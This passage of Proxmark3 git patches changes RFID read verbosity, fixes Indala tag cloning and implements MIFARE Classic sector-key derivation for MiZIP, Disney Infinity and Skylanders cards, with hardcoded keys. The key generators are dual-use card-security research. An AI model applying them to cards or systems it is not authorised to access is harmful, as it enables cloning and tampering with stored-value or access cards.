client/cmdlfnoralsy.c | 2 +- client/cmdlfpac.c | 2 +- client/cmdlfparadox.c | 2 +- client/cmdlfpresco.c | 2 +- client/cmdlfpyramid.c | 2 +- client/cmdlfsecurakey.c | 2 +- client/cmdlfviking.c | 2 +- client/cmdlfvisa2000.c | 2 +- client/cmdmain.c | 2 +- 19 files changed, 25 insertions(+), 23 deletions(-) diff --git a/client/cmdlfawid.c b/client/cmdlfawid.c index e9fe6d6e1..38c3675d1 100644 --- a/client/cmdlfawid.c +++ b/client/cmdlfawid.c @@ -333,7 +333,7 @@ static int CmdAWIDDemod(const char *Cmd) { // this read is the "normal" read, which download lf signal and tries to demod here. static int CmdAWIDRead(const char *Cmd) { - lf_read(true, 12000); + lf_read(false, 12000); return CmdAWIDDemod(Cmd); } diff --git a/client/cmdlffdx.c b/client/cmdlffdx.c index 06e45f515..2f3f81d1d 100644 --- a/client/cmdlffdx.c +++ b/client/cmdlffdx.c @@ -258,7 +258,7 @@ static int CmdFdxDemod(const char *Cmd) { } static int CmdFdxRead(const char *Cmd) { - lf_read(true, 10000); + lf_read(false, 10000); return CmdFdxDemod(Cmd); } diff --git a/client/cmdlfgallagher.c b/client/cmdlfgallagher.c index df822f24a..ef28f1326 100644 --- a/client/cmdlfgallagher.c +++ b/client/cmdlfgallagher.c @@ -135,7 +135,7 @@ static int CmdGallagherDemod(const char *Cmd) { } static int CmdGallagherRead(const char *Cmd) { - lf_read(true, 4096 * 2 + 20); + lf_read(false, 4096 * 2 + 20); return CmdGallagherDemod(Cmd); } diff --git a/client/cmdlfguard.c b/client/cmdlfguard.c index 79ec13c71..8597f4759 100644 --- a/client/cmdlfguard.c +++ b/client/cmdlfguard.c @@ -147,7 +147,7 @@ static int CmdGuardDemod(const char *Cmd) { } static int CmdGuardRead(const char *Cmd) { - lf_read(true, 10000); + lf_read(false, 10000); return CmdGuardDemod(Cmd); } diff --git a/client/cmdlfhid.c b/client/cmdlfhid.c index f5ad3717b..a41d183e7 100644 --- a/client/cmdlfhid.c +++ b/client/cmdlfhid.c @@ -255,7 +255,7 @@ static int CmdHIDDemod(const char *Cmd) { // this read is the "normal" read, which download lf signal and tries to demod here. static int CmdHIDRead(const char *Cmd) { - lf_read(true, 12000); + lf_read(false, 12000); return CmdHIDDemod(Cmd); } diff --git a/client/cmdlfindala.c b/client/cmdlfindala.c index c5c32d62d..11950a0c5 100644 --- a/client/cmdlfindala.c +++ b/client/cmdlfindala.c @@ -115,7 +115,7 @@ static void encodeHeden2L(uint8_t *dest, uint32_t cardnumber) { dest[i/8] = bytebits_to_byte(template + i, 8); } - PrintAndLogEx(INFO, "Heden2L Cardnumber %u ; RawID %s", cardnumber, sprint_hex(dest, 8)); + PrintAndLogEx(INFO, "Heden-2L card number %u", cardnumber); } static void decodeHeden2L(uint8_t *bits) { @@ -483,7 +483,7 @@ static int CmdIndalaDemodAlt(const char *Cmd) { // this read is the "normal" read, which download lf signal and tries to demod here. static int CmdIndalaRead(const char *Cmd) { - lf_read(true, 30000); + lf_read(false, 30000); return CmdIndalaDemod(Cmd); } @@ -601,8 +601,10 @@ static int CmdIndalaClone(const char *Cmd) { max = 8; } else { // 64 BIT UID - if (got_cn) + if (got_cn) { encodeHeden2L(data, cardnumber); + datalen = 8; + } // config for Indala 64 format (RF/32;PSK1 with RF/2;Maxblock=2) PrintAndLogEx(INFO, "Preparing to clone Indala 64bit tag with RawID %s", sprint_hex(data, datalen)); diff --git a/client/cmdlfio.c b/client/cmdlfio.c index b640bed41..1a25fca17 100644 --- a/client/cmdlfio.c +++ b/client/cmdlfio.c @@ -184,7 +184,7 @@ static int CmdIOProxDemod(const char *Cmd) { // this read is the "normal" read, which download lf signal and tries to demod here. static int CmdIOProxRead(const char *Cmd) { - lf_read(true, 12000); + lf_read(false, 12000); return CmdIOProxDemod(Cmd); } static int CmdIOProxSim(const char *Cmd) { diff --git a/client/cmdlfkeri.c b/client/cmdlfkeri.c index 394d16330..4846b5378 100644 --- a/client/cmdlfkeri.c +++ b/client/cmdlfkeri.c @@ -115,7 +115,7 @@ static int CmdKeriDemod(const char *Cmd) { } static int CmdKeriRead(const char *Cmd) { - lf_read(true, 10000); + lf_read(false, 10000); return CmdKeriDemod(Cmd); } diff --git a/client/cmdlfmotorola.c b/client/cmdlfmotorola.c index dbcf28e40..9f0ee1f41 100644 --- a/client/cmdlfmotorola.c +++ b/client/cmdlfmotorola.c @@ -124,8 +124,8 @@ static int CmdMotorolaRead(const char *Cmd) { // Motorola Flexpass seem to work at 74 kHz // and take about 4400 samples to befor modulating sample_config sc = { - .decimation = 0, - .bits_per_sample = 0, + .decimation = -1, + .bits_per_sample = -1, .averaging = false, .divisor = LF_FREQ2DIV(74), .trigger_threshold = -1, @@ -135,7 +135,7 @@ static int CmdMotorolaRead(const char *Cmd) { lf_config(&sc); // 64 * 32 * 2 * n-ish - lf_read(true, 5000); + lf_read(false, 5000); // reset back to 125 kHz sc.divisor = LF_DIVISOR_125; diff --git a/client/cmdlfnedap.c b/client/cmdlfnedap.c index 84b433a0c..c3d6d1ace 100644 --- a/client/cmdlfnedap.c +++ b/client/cmdlfnedap.c @@ -299,7 +299,7 @@ lf t55xx wr b 4 d 4c0003ff */ static int CmdLFNedapRead(const char *Cmd) { - lf_read(true, 16000); + lf_read(false, 16000); return CmdLFNedapDemod(Cmd); } diff --git a/client/cmdlfnoralsy.c b/client/cmdlfnoralsy.c index ceebb8e2d..d7728a3d9 100644 --- a/client/cmdlfnoralsy.c +++ b/client/cmdlfnoralsy.c @@ -133,7 +133,7 @@ static int CmdNoralsyDemod(const char *Cmd) { } static int CmdNoralsyRead(const char *Cmd) { - lf_read(true, 8000); + lf_read(false, 8000); return CmdNoralsyDemod(Cmd); } diff --git a/client/cmdlfpac.c b/client/cmdlfpac.c index 040c8af0a..63a3e16cd 100644 --- a/client/cmdlfpac.c +++ b/client/cmdlfpac.c @@ -181,7 +181,7 @@ static int CmdPacDemod(const char *Cmd) { } static int CmdPacRead(const char *Cmd) { - lf_read(true, 4096 * 2 + 20); + lf_read(false, 4096 * 2 + 20); return CmdPacDemod(Cmd); } diff --git a/client/cmdlfparadox.c b/client/cmdlfparadox.c index c154e7efa..29e247b59 100644 --- a/client/cmdlfparadox.c +++ b/client/cmdlfparadox.c @@ -126,7 +126,7 @@ static int CmdParadoxDemod(const char *Cmd) { //by marshmellow //see ASKDemod for what args are accepted static int CmdParadoxRead(const char *Cmd) { - lf_read(true, 10000); + lf_read(false, 10000); return CmdParadoxDemod(Cmd); } diff --git a/client/cmdlfpresco.c b/client/cmdlfpresco.c index abce377f4..a0619d794 100644 --- a/client/cmdlfpresco.c +++ b/client/cmdlfpresco.c @@ -100,7 +100,7 @@ static int CmdPrescoDemod(const char *Cmd) { //see ASKDemod for what args are accepted static int CmdPrescoRead(const char *Cmd) { // Presco Number: 123456789 --> Sitecode 30 | usercode 8665 - lf_read(true, 12000); + lf_read(false, 12000); return CmdPrescoDemod(Cmd); } diff --git a/client/cmdlfpyramid.c b/client/cmdlfpyramid.c index a36bd34e3..5737c87b9 100644 --- a/client/cmdlfpyramid.c +++ b/client/cmdlfpyramid.c @@ -209,7 +209,7 @@ static int CmdPyramidDemod(const char *Cmd) { } static int CmdPyramidRead(const char *Cmd) { - lf_read(true, 15000); + lf_read(false, 15000); return CmdPyramidDemod(Cmd); } diff --git a/client/cmdlfsecurakey.c b/client/cmdlfsecurakey.c index 48ec731ce..ef4b5be8e 100644 --- a/client/cmdlfsecurakey.c +++ b/client/cmdlfsecurakey.c @@ -125,7 +125,7 @@ static int CmdSecurakeyDemod(const char *Cmd) { } static int CmdSecurakeyRead(const char *Cmd) { - lf_read(true, 8000); + lf_read(false, 8000); return CmdSecurakeyDemod(Cmd); } diff --git a/client/cmdlfviking.c b/client/cmdlfviking.c index c404b4f0a..69d8aee65 100644 --- a/client/cmdlfviking.c +++ b/client/cmdlfviking.c @@ -79,7 +79,7 @@ static int CmdVikingDemod(const char *Cmd) { //by marshmellow //see ASKDemod for what args are accepted static int CmdVikingRead(const char *Cmd) { - lf_read(true, 10000); + lf_read(false, 10000); return CmdVikingDemod(Cmd); } diff --git a/client/cmdlfvisa2000.c b/client/cmdlfvisa2000.c index 677562e12..551a1efbb 100644 --- a/client/cmdlfvisa2000.c +++ b/client/cmdlfvisa2000.c @@ -159,7 +159,7 @@ static int CmdVisa2kDemod(const char *Cmd) { // 64*96*2=12288 samples just in case we just missed the first preamble we can still catch 2 of them static int CmdVisa2kRead(const char *Cmd) { - lf_read(true, 20000); + lf_read(false, 20000); return CmdVisa2kDemod(Cmd); } diff --git a/client/cmdmain.c b/client/cmdmain.c index 06f44e1aa..c2364d8f1 100644 --- a/client/cmdmain.c +++ b/client/cmdmain.c @@ -94,7 +94,7 @@ static int CmdAuto(const char *Cmd) { PrintAndLogEx(INFO, "Trying 'lf read' and save a trace for you..."); CmdPlot(""); - lf_read(true, 40000); + lf_read(false, 40000); char *fname = calloc(100, sizeof(uint8_t)); AppendDate(fname, 100, "f lf_unknown_%Y-%m-%d_%H:%M"); CmdSave(fname); From 57f026312b0ed715b23ba3cd092c18da15a121ee Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 9 Jan 2020 22:58:12 +0100 Subject: [PATCH 278/418] Chg: generators from luascripts into client --- common/generator.c | 215 ++++++++++++++++++++++++++++++++++++--------- common/generator.h | 14 +-- 2 files changed, 180 insertions(+), 49 deletions(-) diff --git a/common/generator.c b/common/generator.c index 174657573..9226964d9 100644 --- a/common/generator.c +++ b/common/generator.c @@ -15,10 +15,19 @@ #include #include #include -#include "commonutil.h" +#include "commonutil.h" //BSWAP_16 +#include "common.h" //BSWAP_32/64 #include "util.h" #include "pm3_cmd.h" #include "ui.h" +#include "mbedtls/sha1.h" + +#if defined(__APPLE__) +#include +#define BSWAP_16(x) OSSwapInt16(x) +#define BSWAP_32(x) OSSwapInt32(x) +#define BSWAP_64(x) OSSwapInt64(x) +#endif // Implemetation tips: // For each implementation of the algos, I recommend adding a self test for easy "simple unit" tests when Travic CI / Appveyour runs. @@ -32,6 +41,8 @@ // XYZ 3D printing // Vinglock //------------------------------------ +static void transform_D(uint8_t *ru) { + const uint32_t c_D[] = { 0x6D835AFC, 0x7D15CD97, 0x0942B409, 0x32F9C923, 0xA811FB02, 0x64F121E8, 0xD1CC8B4E, 0xE8873E6F, 0x61399BBB, 0xF1B91926, 0xAC661520, 0xA21A31C9, @@ -40,7 +51,6 @@ const uint32_t c_D[] = { 0x5728B869, 0x30726D5A }; -static void transform_D(uint8_t *ru) { //Transform uint8_t i; uint8_t p = 0; @@ -185,42 +195,120 @@ uint16_t ul_ev1_packgenD(uint8_t *uid) { // MFC keyfile generation stuff //------------------------------------ // Vinglock -int mfc_algo_ving_one(uint8_t *uid, uint8_t sector, uint64_t *key) { +int mfc_algo_ving_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { if (sector > 15) return PM3_EINVARG; if (key == NULL) return PM3_EINVARG; + *key = 0; return PM3_SUCCESS; } int mfc_algo_ving_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; + for (int keytype = 0; keytype < 2; keytype++) { + for (int sector = 0; sector < 16; sector++){ + uint64_t key = 0; + mfc_algo_ving_one(uid, sector, keytype, &key ); + num_to_bytes(key, 6, keys + (keytype * 16 * 6) + (sector * 6)); + } + } return PM3_SUCCESS; } // Yale Doorman -int mfc_algo_yale_one(uint8_t *uid, uint8_t sector, uint64_t *key) { +int mfc_algo_yale_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { if (sector > 15) return PM3_EINVARG; if (key == NULL) return PM3_EINVARG; + *key = 0; return PM3_SUCCESS; } int mfc_algo_yale_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; + for (int keytype = 0; keytype < 2; keytype++) { + for (int sector = 0; sector < 16; sector++){ + uint64_t key = 0; + mfc_algo_yale_one(uid, sector, keytype, &key ); + num_to_bytes(key, 6, keys + (keytype * 16 * 6) + (sector * 6)); + } + } return PM3_SUCCESS; } // Saflok / Maid UID to key. -int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint64_t *key) { +int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { if (sector > 15) return PM3_EINVARG; if (key == NULL) return PM3_EINVARG; + *key = 0; return PM3_SUCCESS; } int mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; + for (int keytype = 0; keytype < 2; keytype++) { + for (int sector = 0; sector < 16; sector++){ + uint64_t key = 0; + mfc_algo_saflok_one(uid, sector, keytype, &key ); + num_to_bytes(key, 6, keys + (keytype * 16 * 6) + (sector * 6)); + } + } return PM3_SUCCESS; } // MIZIP algo -int mfc_algo_mizip_one(uint8_t *uid, uint8_t sector, uint64_t *key) { +int mfc_algo_mizip_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { if (sector > 4) return PM3_EINVARG; if (key == NULL) return PM3_EINVARG; + + if (sector == 0) { + // A + if (keytype == 0) + *key = 0xA0A1A2A3A4A5U; + else // B + *key = 0xB4C132439eef; + + } else { + + uint8_t xor[6]; + + if ( keytype == 0 ) { + + uint64_t xor_tbl_a[] = { + 0x09125a2589e5, + 0xAB75C937922F, + 0xE27241AF2C09, + 0x317AB72F4490, + }; + + num_to_bytes(xor_tbl_a[sector - 1], 6, xor); + + *key = + (uint64_t)(uid[0] ^ xor[0] ) << 40 | + (uint64_t)(uid[1] ^ xor[1]) << 32 | + (uint64_t)(uid[2] ^ xor[2]) << 24 | + (uint64_t)(uid[3] ^ xor[3]) << 16 | + (uint64_t)(uid[0] ^ xor[4]) << 8 | + (uint64_t)(uid[1] ^ xor[5]) + ; + + } else { + uint64_t xor_tbl_b[] = { + 0xF12C8453D821, + 0x73E799FE3241, + 0xAA4D137656AE, + 0xB01327272DFD + }; + + // B + num_to_bytes(xor_tbl_b[sector - 1], 6, xor); + + *key = + (uint64_t)(uid[2] ^ xor[0]) << 40 | + (uint64_t)(uid[3] ^ xor[1]) << 32 | + (uint64_t)(uid[0] ^ xor[2]) << 24 | + (uint64_t)(uid[1] ^ xor[3]) << 16 | + (uint64_t)(uid[2] ^ xor[4]) << 8 | + (uint64_t)(uid[3] ^ xor[5]) + ; + + } + } return PM3_SUCCESS; } // returns all Mifare Mini (MFM) 10 keys. @@ -228,66 +316,103 @@ int mfc_algo_mizip_one(uint8_t *uid, uint8_t sector, uint64_t *key) { int mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; - uint64_t xor_tbl[] = { - 0x09125a2589e5ULL, 0xF12C8453D821ULL, - 0xAB75C937922FULL, 0x73E799FE3241ULL, - 0xE27241AF2C09ULL, 0xAA4D137656AEULL, - 0x317AB72F4490ULL, 0xB01327272DFDULL - }; - - // A - num_to_bytes(0xA0A1A2A3A4A5ULL, 6, keys); - for (uint8_t i = 0; i < 4; i++) { - uint64_t a = - (uint64_t)(uid[0] ^ xor_tbl[i]) << 40 | - (uint64_t)(uid[1] ^ xor_tbl[i]) << 32 | - (uint64_t)(uid[2] ^ xor_tbl[i]) << 24 | - (uint64_t)(uid[3] ^ xor_tbl[i]) << 16 | - (uint64_t)(uid[1] ^ xor_tbl[i]) << 8 | - (uint64_t)(uid[2] ^ xor_tbl[i]) - ; - num_to_bytes(a, 6, keys + (1 * i * 6)); + for (int keytype = 0; keytype < 2; keytype++) { + for (int sector = 0; sector < 5; sector++){ + uint64_t key = 0; + mfc_algo_mizip_one(uid, sector, keytype, &key); + num_to_bytes(key, 6, keys + (keytype * 5 * 6) + (sector * 6)); } - - // B - num_to_bytes(0xB4C132439eefULL, 6, keys + (5 * 6)); - for (uint8_t i = 0; i < 4; i++) { - uint64_t b = - (uint64_t)(uid[2] ^ xor_tbl[i + 1]) << 40 | - (uint64_t)(uid[3] ^ xor_tbl[i + 1]) << 32 | - (uint64_t)(uid[0] ^ xor_tbl[i + 1]) << 24 | - (uint64_t)(uid[1] ^ xor_tbl[i + 1]) << 16 | - (uint64_t)(uid[2] ^ xor_tbl[i + 1]) << 8 | - (uint64_t)(uid[3] ^ xor_tbl[i + 1]) - ; - num_to_bytes(b, 6, keys + 30 + (1 * i * 6)); } return PM3_SUCCESS; } // Disney Infinity algo -int mfc_algo_di_one(uint8_t *uid, uint8_t sector, uint64_t *key) { - if (sector > 15) return PM3_EINVARG; +int mfc_algo_di_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { + if (sector > 4) return PM3_EINVARG; if (key == NULL) return PM3_EINVARG; + + uint8_t hash[64]; + uint8_t input[] = { + 0x0A, 0x14, 0xFD, 0x05, 0x07, 0xFF, 0x4B, 0xCD, + 0x02, 0x6B, 0xA8, 0x3F, 0x0A, 0x3B, 0x89, 0xA9, + uid[0], uid[1], uid[2], uid[3], uid[4], uid[5], uid[6], + 0x28, 0x63, 0x29, 0x20, 0x44, 0x69, 0x73, 0x6E, + 0x65, 0x79, 0x20, 0x32, 0x30, 0x31, 0x33 + }; + + mbedtls_sha1(input, sizeof(input), hash); + + *key = ( + (uint64_t)hash[3] << 40 | + (uint64_t)hash[2] << 32 | + (uint64_t)hash[1] << 24 | + (uint64_t)hash[0] << 16 | + (uint64_t)hash[7] << 8 | + hash[6] + ); + return PM3_SUCCESS; } int mfc_algo_di_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; + for (int keytype = 0; keytype < 2; keytype++) { + for (int sector = 0; sector < 5; sector++){ + uint64_t key = 0; + mfc_algo_di_one(uid, sector, keytype, &key); + num_to_bytes(key, 6, keys + (keytype * 5 * 6) + (sector * 6)); + } + } return PM3_SUCCESS; } // Skylanders -int mfc_algo_sky_one(uint8_t *uid, uint8_t sector, uint64_t *key) { +static uint64_t sky_crc64_like(uint64_t result, uint8_t sector) { + #define SKY_POLY UINT64_C(0x42f0e1eba9ea3693) + #define SKY_TOP UINT64_C(0x800000000000) + result ^= (uint64_t)sector << 40; + for(int i = 0; i < 8; i++) { + result = (result & SKY_TOP) ? (result << 1) ^ SKY_POLY : result << 1; + } + return result; +} +int mfc_algo_sky_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { + +#define SKY_KEY_MASK 0xFFFFFFFFFFFF + if (sector > 15) return PM3_EINVARG; if (key == NULL) return PM3_EINVARG; + + if (sector == 0 && keytype == 0) { + *key = 0x4B0B20107CCB; + return PM3_SUCCESS; + } + if (keytype == 1) { + *key = 0x000000000000; + return PM3_SUCCESS; + } + + // hash UID + uint64_t hash = 0x9AE903260CC4; + for(int i = 0; i < 4; i++) { + hash = sky_crc64_like(hash, uid[i]); + } + + uint64_t sectorhash = sky_crc64_like(hash, sector); + *key = BSWAP_64(sectorhash & SKY_KEY_MASK) >> 16; return PM3_SUCCESS; } int mfc_algo_sky_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; + for (int keytype = 0; keytype < 2; keytype++) { + for (int sector = 0; sector < 16; sector++){ + uint64_t key = 0; + mfc_algo_sky_one(uid, sector, keytype, &key); + num_to_bytes(key, 6, keys + (keytype * 16 * 6) + (sector * 6)); + } + } return PM3_SUCCESS; } - //------------------------------------ // Self tests //------------------------------------ @@ -323,6 +448,12 @@ int generator_selftest() { // success = (key1 == 0xD1E2AA68E39A); // PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %"PRIx64" | %s", sprint_hex(uid5, 4), key1, success ? "OK" : "->D1E2AA68E39A<--"); + uint8_t uid6[] = {0x74, 0x57, 0xCA, 0xA9}; + uint64_t key6 = 0; + mfc_algo_sky_one(uid6, 15, 0, &key6); + success = (key6 == 0x82c7e64bc565); + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %"PRIx64" | %s", sprint_hex(uid6, 4), key6, success ? "OK" : "->82C7E64BC565<--"); + PrintAndLogEx(SUCCESS, "-------------------"); return PM3_SUCCESS; } diff --git a/common/generator.h b/common/generator.h index 8643c0de9..d7ca2b8ee 100644 --- a/common/generator.h +++ b/common/generator.h @@ -23,25 +23,25 @@ uint16_t ul_ev1_packgenB(uint8_t *uid); uint16_t ul_ev1_packgenC(uint8_t *uid); uint16_t ul_ev1_packgenD(uint8_t *uid); -int mfc_algo_ving_one(uint8_t *uid, uint8_t sector, uint64_t *key); +int mfc_algo_ving_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); int mfc_algo_ving_all(uint8_t *uid, uint8_t *keys); -int mfc_algo_yale_one(uint8_t *uid, uint8_t sector, uint64_t *key); +int mfc_algo_yale_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); int mfc_algo_yale_all(uint8_t *uid, uint8_t *keys); -int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint64_t *key); +int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); int mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys); -int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint64_t *key); +int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); int mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys); -int mfc_algo_mizip_one(uint8_t *uid, uint8_t sector, uint64_t *key); +int mfc_algo_mizip_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); int mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys); -int mfc_algo_di_one(uint8_t *uid, uint8_t sector, uint64_t *key); +int mfc_algo_di_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); int mfc_algo_di_all(uint8_t *uid, uint8_t *keys); -int mfc_algo_sky_one(uint8_t *uid, uint8_t sector, uint64_t *key); +int mfc_algo_sky_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); int mfc_algo_sky_all(uint8_t *uid, uint8_t *keys); int generator_selftest(); From 07dfe8493c8af4f29a9595877494b1fd1a27232f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 9 Jan 2020 22:58:49 +0100 Subject: [PATCH 279/418] lf read no verbose --- client/cmdlfem4x.c | 4 ++-- client/cmdlfnexwatch.c | 2 +- client/cmdlfverichip.c | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/client/cmdlfem4x.c b/client/cmdlfem4x.c index 5493b124d..a8d7e06e3 100644 --- a/client/cmdlfem4x.c +++ b/client/cmdlfem4x.c @@ -468,7 +468,7 @@ static int CmdEM410xDemod(const char *Cmd) { // this read is the "normal" read, which download lf signal and tries to demod here. static int CmdEM410xRead(const char *Cmd) { - lf_read(true, 12288); + lf_read(false, 12288); return CmdEM410xDemod(Cmd); } @@ -625,7 +625,7 @@ static int CmdEM410xWatch(const char *Cmd) { PrintAndLogEx(WARNING, "\naborted via keyboard!\n"); break; } - lf_read(true, 12288); + lf_read(false, 12288); } while (CmdEM410xRead("") != PM3_SUCCESS); return PM3_SUCCESS; diff --git a/client/cmdlfnexwatch.c b/client/cmdlfnexwatch.c index e30a37a80..58ec81852 100644 --- a/client/cmdlfnexwatch.c +++ b/client/cmdlfnexwatch.c @@ -95,7 +95,7 @@ static int CmdNexWatchDemod(const char *Cmd) { //by marshmellow //see ASKDemod for what args are accepted static int CmdNexWatchRead(const char *Cmd) { - lf_read(true, 10000); + lf_read(false, 10000); return CmdNexWatchDemod(Cmd); } diff --git a/client/cmdlfverichip.c b/client/cmdlfverichip.c index 9bccefde4..fb2e4e777 100644 --- a/client/cmdlfverichip.c +++ b/client/cmdlfverichip.c @@ -78,7 +78,7 @@ static int CmdVerichipDemod(const char *Cmd) { } static int CmdVerichipRead(const char *Cmd) { - lf_read(true, 4096 * 2 + 20); + lf_read(false, 4096 * 2 + 20); return CmdVerichipDemod(Cmd); } From a459d150935b3cabac6947340eceea24a33d1911 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 9 Jan 2020 23:33:23 +0100 Subject: [PATCH 280/418] fix: osx doesnt need own bswap.. --- common/generator.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/common/generator.c b/common/generator.c index 9226964d9..22c63add5 100644 --- a/common/generator.c +++ b/common/generator.c @@ -22,13 +22,6 @@ #include "ui.h" #include "mbedtls/sha1.h" -#if defined(__APPLE__) -#include -#define BSWAP_16(x) OSSwapInt16(x) -#define BSWAP_32(x) OSSwapInt32(x) -#define BSWAP_64(x) OSSwapInt64(x) -#endif - // Implemetation tips: // For each implementation of the algos, I recommend adding a self test for easy "simple unit" tests when Travic CI / Appveyour runs. // See special note for MFC based algos. @@ -241,6 +234,7 @@ int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t } int mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; + for (int keytype = 0; keytype < 2; keytype++) { for (int sector = 0; sector < 16; sector++){ uint64_t key = 0; From dd12b2db6efabeccf4bf243db958696c90e10b1b Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 10 Jan 2020 15:43:12 +0100 Subject: [PATCH 281/418] textual --- doc/commands.md | 613 ++++++++++++++++++++++++------------------------ 1 file changed, 308 insertions(+), 305 deletions(-) diff --git a/doc/commands.md b/doc/commands.md index b4980fd41..ba9f14c93 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -1,8 +1,17 @@ - + +# Proxmark3 command dump + + +Some commands are available only if a Proxmark3 is actually connected. + +Check column "offline" for their availability. + + + |command |offline |description |------- |------- |----------- |`help `|Y |`This help. Use ' help' for details of a particular command.` -|`auto `|Y |`Automated detection process for unknown tags` +|`auto `|N |`Automated detection process for unknown tags` |`msleep `|Y |`Add a pause in milliseconds` |`rem `|Y |`Add a text line in log file` |`quit `|Y |`` @@ -38,7 +47,7 @@ |`data autocorr `|Y |`[window length] [g] -- Autocorrelation over window - g to save back to GraphBuffer (overwrite)` |`data biphaserawdecode `|Y |`[offset] [invert<0|1>] [maxErr] -- Biphase decode bin stream in DemodBuffer (offset = 0|1 bits to shift the decode start)` |`data bin2hex `|Y |` -- Converts binary to hexadecimal` -|`data bitsamples `|Y |`Get raw samples as bitstring` +|`data bitsamples `|N |`Get raw samples as bitstring` |`data buffclear `|Y |`Clears bigbuff on deviceside and graph window` |`data convertbitstream `|Y |`Convert GraphBuffer's 0/1 values to 127 / -127` |`data dec `|Y |`Decimate samples` @@ -46,7 +55,7 @@ |`data fsktonrz `|Y |`Convert fsk2 to nrz wave for alternate fsk demodulating (for weak fsk)` |`data getbitstream `|Y |`Convert GraphBuffer's >=1 values to 1 and <1 to 0` |`data grid `|Y |` -- overlay grid on graph window, use zero value to turn off either` -|`data hexsamples `|Y |` [] -- Dump big buffer as hex bytes` +|`data hexsamples `|N |` [] -- Dump big buffer as hex bytes` |`data hex2bin `|Y |` -- Converts hexadecimal to binary` |`data hide `|Y |`Hide graph window` |`data hpf `|Y |`Remove DC offset from trace` @@ -59,14 +68,14 @@ |`data plot `|Y |`Show graph window (hit 'h' in window for keystroke help)` |`data printdemodbuffer `|Y |`[x] [o] [l] -- print the data in the DemodBuffer - 'x' for hex output` |`data rawdemod `|Y |`[modulation] ... -see help (h option) -- Demodulate the data in the GraphBuffer and output binary` -|`data samples `|Y |`[512 - 40000] -- Get raw samples for graph window (GraphBuffer)` +|`data samples `|N |`[512 - 40000] -- Get raw samples for graph window (GraphBuffer)` |`data save `|Y |`Save trace (from graph window)` |`data setgraphmarkers `|Y |`[orange_marker] [blue_marker] (in graph window)` |`data scale `|Y |` -- Set cursor display scale in carrier frequency expressed in kHz` |`data setdebugmode `|Y |`<0|1|2> -- Set Debugging Level on client side` |`data shiftgraphzero `|Y |` -- Shift 0 for Graphed wave + or - shift value` |`data dirthreshold `|Y |` -- Max rising higher up-thres/ Min falling lower down-thres, keep rest as prev.` -|`data tune `|Y |`Get hw tune samples for graph window` +|`data tune `|N |`Get hw tune samples for graph window` |`data undec `|Y |`Un-decimate samples by 2` |`data zerocrossings `|Y |`Count time between zero-crossings` |`data iir `|Y |`apply IIR buttersworth filter on plotdata` @@ -79,19 +88,19 @@ |command |offline |description |------- |------- |----------- |`emv help `|Y |`This help` -|`emv exec `|Y |`Executes EMV contactless transaction.` -|`emv pse `|Y |`Execute PPSE. It selects 2PAY.SYS.DDF01 or 1PAY.SYS.DDF01 directory.` -|`emv search `|Y |`Try to select all applets from applets list and print installed applets.` -|`emv select `|Y |`Select applet.` -|`emv gpo `|Y |`Execute GetProcessingOptions.` -|`emv readrec `|Y |`Read files from card.` -|`emv genac `|Y |`Generate ApplicationCryptogram.` -|`emv challenge `|Y |`Generate challenge.` -|`emv intauth `|Y |`Internal authentication.` -|`emv scan `|Y |`Scan EMV card and save it contents to json file for emulator.` +|`emv exec `|N |`Executes EMV contactless transaction.` +|`emv pse `|N |`Execute PPSE. It selects 2PAY.SYS.DDF01 or 1PAY.SYS.DDF01 directory.` +|`emv search `|N |`Try to select all applets from applets list and print installed applets.` +|`emv select `|N |`Select applet.` +|`emv gpo `|N |`Execute GetProcessingOptions.` +|`emv readrec `|N |`Read files from card.` +|`emv genac `|N |`Generate ApplicationCryptogram.` +|`emv challenge `|N |`Generate challenge.` +|`emv intauth `|N |`Internal authentication.` +|`emv scan `|N |`Scan EMV card and save it contents to json file for emulator.` |`emv test `|Y |`Crypto logic test.` |`emv list `|Y |`List ISO7816 history` -|`emv roca `|Y |`Extract public keys and run ROCA test` +|`emv roca `|N |`Extract public keys and run ROCA test` ### hf @@ -102,9 +111,9 @@ |------- |------- |----------- |`hf help `|Y |`This help` |`hf 